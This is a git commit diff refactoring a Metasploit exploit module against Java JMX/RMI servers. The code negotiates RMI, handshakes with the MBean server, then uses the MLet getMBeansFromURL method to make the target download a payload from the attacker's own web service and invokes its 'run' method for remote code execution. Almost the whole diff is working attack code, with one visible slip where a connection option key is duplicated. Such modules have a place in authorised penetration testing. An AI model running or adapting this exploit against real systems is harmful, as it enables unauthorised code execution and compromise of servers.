Refactor exploit code
parent
2de2e657f0
commit
a996efc807
|
@ -109,7 +109,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
print_status("#{peer} - Sending RMI Header...")
|
||||
unless is_rmi?
|
||||
fail_with(Failure::NoTarget, "#{peer} - Filed to negotiate RMI protocol")
|
||||
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Discoverig the JMXRMI endpoint...")
|
||||
|
@ -118,84 +118,34 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
if mbean_server.nil?
|
||||
fail_with(Failure::NoTarget, "#{peer} - Failed to discover the JMXRMI endpoint")
|
||||
else
|
||||
print_good("#{peer} - JMXRMI endpoint on #{mbean_server[:host]}:#{mbean_server[:port]}")
|
||||
print_good("#{peer} - JMXRMI endpoint on #{mbean_server[:address]}:#{mbean_server[:port]}")
|
||||
end
|
||||
|
||||
exploit_mbean_server(mbean_server)
|
||||
end
|
||||
|
||||
def exploit_mbean_server(mbean)
|
||||
print_good("#{peer} - JMX MBean server endpoint found on #{mbean[:address]}:#{mbean[:port]}, connecting...")
|
||||
|
||||
connect(true, { 'RPORT' => mbean[:address], 'RPORT' => mbean[:port] })
|
||||
|
||||
send_header
|
||||
ack = recv_protocol_ack
|
||||
if ack.nil?
|
||||
fail_with(Failure::NotFound ,"#{peer} - Filed to negotiate RMI protocol")
|
||||
connect(true, { 'RPORT' => mbean_server[:address], 'RPORT' => mbean_server[:port] })
|
||||
unless is_rmi?
|
||||
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol with the MBean server")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Sending handshake / authentication...")
|
||||
|
||||
send_call(call_data: handshake_stream(mbean[:id].chop))
|
||||
|
||||
return_data = recv_return
|
||||
|
||||
if return_data.nil?
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to send handshake")
|
||||
end
|
||||
|
||||
answer = extract_object(return_data, 1)
|
||||
|
||||
if answer.nil?
|
||||
fail_with(Failure::Unknown, "#{peer} - Unexpected handshake answer")
|
||||
end
|
||||
|
||||
case answer
|
||||
when 'java.lang.SecurityException'
|
||||
fail_with(Failure::NoAccess, "#{peer} - JMX end point requires authentication, but it failed")
|
||||
when 'javax.management.remote.rmi.RMIConnectionImpl_Stub'
|
||||
print_good("#{peer} - Handshake completed, proceeding...")
|
||||
conn_stub = extract_unicast_ref(StringIO.new(return_data.contents[2].contents))
|
||||
if conn_stub.nil?
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to extract the UnicastRef information")
|
||||
end
|
||||
print_status("#{peer} - Proceeding with handshake...")
|
||||
jmx_endpoint = handshake(mbean_server)
|
||||
if jmx_endpoint.nil?
|
||||
fail_with(Failure::NoTarget, "#{peer} - Failed to handshake with the MBean server")
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Handshake returned unexpected object #{answer}")
|
||||
print_good("#{peer} - Handshake with JMX MBean server on #{jmx_endpoint[:address]}:#{jmx_endpoint[:port]}")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Getting JMXPayload instance...")
|
||||
my_stream = get_object_instance_stream(obj_id: conn_stub[:id].chop , name: 'MLetCompromise:name=jmxpayload,id=1')
|
||||
send_call(call_data: my_stream)
|
||||
return_data = recv_return
|
||||
|
||||
if return_data.nil?
|
||||
fail_with(Failure::Unknown, "#{peer} - The request to getObjectInstance failed")
|
||||
end
|
||||
|
||||
answer = extract_object(return_data, 1)
|
||||
|
||||
if answer.nil?
|
||||
fail_with(Failure::Unknown, "#{peer} - Unexpected getObjectInstance answer")
|
||||
end
|
||||
|
||||
case answer
|
||||
when 'javax.management.InstanceNotFoundException'
|
||||
print_warning("#{peer} - JMXPayload instance not found, trying to load")
|
||||
load_payload_from_url(conn_stub)
|
||||
when 'javax.management.ObjectInstance'
|
||||
print_good("#{peer} - JMXPayload instance found, using it")
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - getObjectInstance returned unexpected object #{answer}")
|
||||
print_status("#{peer} - Loading payload...")
|
||||
unless load_payload(jmx_endpoint)
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to load the payload")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Executing payload...")
|
||||
my_stream = invoke_stream(
|
||||
obj_id: conn_stub[:id].chop,
|
||||
object: 'MLetCompromise:name=jmxpayload,id=1',
|
||||
method: 'run'
|
||||
invoke_run_stream = invoke_stream(
|
||||
obj_id: jmx_endpoint[:id].chop,
|
||||
object: 'MLetCompromise:name=jmxpayload,id=1',
|
||||
method: 'run'
|
||||
)
|
||||
send_call(call_data: my_stream)
|
||||
send_call(call_data: invoke_run_stream)
|
||||
|
||||
disconnect
|
||||
end
|
||||
|
@ -271,112 +221,133 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def load_payload(conn_stub)
|
||||
print_status("#{peer} - Getting JMXPayload instance...")
|
||||
my_stream = get_object_instance_stream(obj_id: conn_stub[:id].chop , name: 'MLetCompromise:name=jmxpayload,id=1')
|
||||
send_call(call_data: my_stream)
|
||||
vprint_status("#{peer} - Getting JMXPayload instance...")
|
||||
get_payload_instance = get_object_instance_stream(obj_id: conn_stub[:id].chop , name: 'MLetCompromise:name=jmxpayload,id=1')
|
||||
send_call(call_data: get_payload_instance)
|
||||
return_data = recv_return
|
||||
|
||||
if return_data.nil?
|
||||
fail_with(Failure::Unknown, "#{peer} - The request to getObjectInstance failed")
|
||||
vprint_error("#{peer} - The request to getObjectInstance failed")
|
||||
return false
|
||||
end
|
||||
|
||||
answer = extract_object(return_data, 1)
|
||||
|
||||
if answer.nil?
|
||||
fail_with(Failure::Unknown, "#{peer} - Unexpected getObjectInstance answer")
|
||||
vprint_error("#{peer} - Unexpected getObjectInstance answer")
|
||||
return false
|
||||
end
|
||||
|
||||
case answer
|
||||
when 'javax.management.InstanceNotFoundException'
|
||||
print_warning("#{peer} - JMXPayload instance not found, trying to load")
|
||||
vprint_warning("#{peer} - JMXPayload instance not found, trying to load")
|
||||
return load_payload_from_url(conn_stub)
|
||||
when 'javax.management.ObjectInstance'
|
||||
print_good("#{peer} - JMXPayload instance found, using it")
|
||||
vprint_good("#{peer} - JMXPayload instance found, using it")
|
||||
return true
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - getObjectInstance returned unexpected object #{answer}")
|
||||
vprint_error("#{peer} - getObjectInstance returned unexpected object #{answer}")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def load_payload_from_url(conn_stub)
|
||||
print_status("Starting service...")
|
||||
vprint_status("Starting service...")
|
||||
start_service
|
||||
|
||||
print_status("#{peer} - Creating javax.management.loading.MLet MBean...")
|
||||
vprint_status("#{peer} - Creating javax.management.loading.MLet MBean...")
|
||||
create_mbean = create_mbean_stream(obj_id: conn_stub[:id].chop, name: 'javax.management.loading.MLet')
|
||||
send_call(call_data: create_mbean)
|
||||
return_data = recv_return
|
||||
|
||||
if return_data.nil?
|
||||
vprint_error("#{peer} - The request to createMBean failed")
|
||||
return false
|
||||
end
|
||||
|
||||
answer = extract_object(return_data, 1)
|
||||
|
||||
if answer.nil?
|
||||
fail_with(Failure::Unknown, "#{peer} - Unexpected createMBean answer")
|
||||
vprint_error("#{peer} - Unexpected createMBean answer")
|
||||
return false
|
||||
end
|
||||
|
||||
case answer
|
||||
when 'javax.management.InstanceAlreadyExistsException'
|
||||
print_good("#{peer} - javax.management.loading.MLet already exists")
|
||||
vprint_good("#{peer} - javax.management.loading.MLet already exists")
|
||||
when 'javax.management.ObjectInstance'
|
||||
print_good("#{peer} - javax.management.loading.MLet created")
|
||||
vprint_good("#{peer} - javax.management.loading.MLet created")
|
||||
when 'java.lang.SecurityException'
|
||||
fail_with(Failure::NoAccess, "#{peer} - The provided user hasn't enough privileges")
|
||||
vprint_error("#{peer} - The provided user hasn't enough privileges")
|
||||
return false
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - createMBean returned unexpected object #{answer}")
|
||||
vprint_error("#{peer} - createMBean returned unexpected object #{answer}")
|
||||
return false
|
||||
end
|
||||
|
||||
print_status("#{peer} - Getting javax.management.loading.MLet instance...")
|
||||
my_stream = get_object_instance_stream(obj_id: conn_stub[:id].chop , name: 'DefaultDomain:type=MLet')
|
||||
send_call(call_data: my_stream)
|
||||
vprint_status("#{peer} - Getting javax.management.loading.MLet instance...")
|
||||
get_mlet_instance = get_object_instance_stream(obj_id: conn_stub[:id].chop , name: 'DefaultDomain:type=MLet')
|
||||
send_call(call_data: get_mlet_instance)
|
||||
return_data = recv_return
|
||||
|
||||
if return_data.nil?
|
||||
fail_with(Failure::Unknown, "#{peer} - The request to getObjectInstance failed")
|
||||
vprint_error("#{peer} - The request to getObjectInstance failed")
|
||||
return false
|
||||
end
|
||||
|
||||
answer = extract_object(return_data, 1)
|
||||
|
||||
if answer.nil?
|
||||
fail_with(Failure::Unknown, "#{peer} - Unexpected getObjectInstance answer")
|
||||
vprint_error("#{peer} - Unexpected getObjectInstance answer")
|
||||
return false
|
||||
end
|
||||
|
||||
case answer
|
||||
when 'javax.management.InstanceAlreadyExistsException'
|
||||
print_good("#{peer} - javax.management.loading.MLet already found")
|
||||
vprint_good("#{peer} - javax.management.loading.MLet already found")
|
||||
when 'javax.management.ObjectInstance'
|
||||
print_good("#{peer} - javax.management.loading.MLet instance created")
|
||||
vprint_good("#{peer} - javax.management.loading.MLet instance created")
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - getObjectInstance returned unexpected object #{answer}")
|
||||
vprint_error("#{peer} - getObjectInstance returned unexpected object #{answer}")
|
||||
return false
|
||||
end
|
||||
|
||||
print_status("#{peer} - Loading MBean Payload with javax.management.loading.MLet#getMBeansFromURL...")
|
||||
vprint_status("#{peer} - Loading MBean Payload with javax.management.loading.MLet#getMBeansFromURL...")
|
||||
|
||||
my_stream = invoke_stream(
|
||||
invoke_mlet_get_mbean_from_url = invoke_stream(
|
||||
obj_id: conn_stub[:id].chop,
|
||||
object: 'DefaultDomain:type=MLet',
|
||||
method: 'getMBeansFromURL',
|
||||
args: { 'java.lang.String' => "#{get_uri}/mlet" }
|
||||
)
|
||||
send_call(call_data: my_stream)
|
||||
send_call(call_data: invoke_mlet_get_mbean_from_url)
|
||||
return_data = recv_return
|
||||
|
||||
print_status("Stopping service...")
|
||||
vprint_status("Stopping service...")
|
||||
stop_service
|
||||
|
||||
if return_data.nil?
|
||||
fail_with(Failure::Unknown, "#{peer} - The call to getMBeansFromURL failed")
|
||||
vprint_error("#{peer} - The call to getMBeansFromURL failed")
|
||||
return false
|
||||
end
|
||||
|
||||
answer = extract_object(return_data, 3)
|
||||
|
||||
if answer.nil?
|
||||
fail_with(Failure::Unknown, "#{peer} - Unexpected getMBeansFromURL answer")
|
||||
vprint_error("#{peer} - Unexpected getMBeansFromURL answer")
|
||||
return false
|
||||
end
|
||||
|
||||
case answer
|
||||
when 'javax.management.InstanceAlreadyExistsException'
|
||||
print_good("#{peer} - The remote payload was already loaded... okey, using it!")
|
||||
vprint_good("#{peer} - The remote payload was already loaded... okey, using it!")
|
||||
return true
|
||||
when 'javax.management.ObjectInstance'
|
||||
print_good("#{peer} - The remote payload has been loaded!")
|
||||
vprint_good("#{peer} - The remote payload has been loaded!")
|
||||
return true
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - getMBeansFromURL returned unexpected object #{answer}")
|
||||
vprint_error("#{peer} - getMBeansFromURL returned unexpected object #{answer}")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue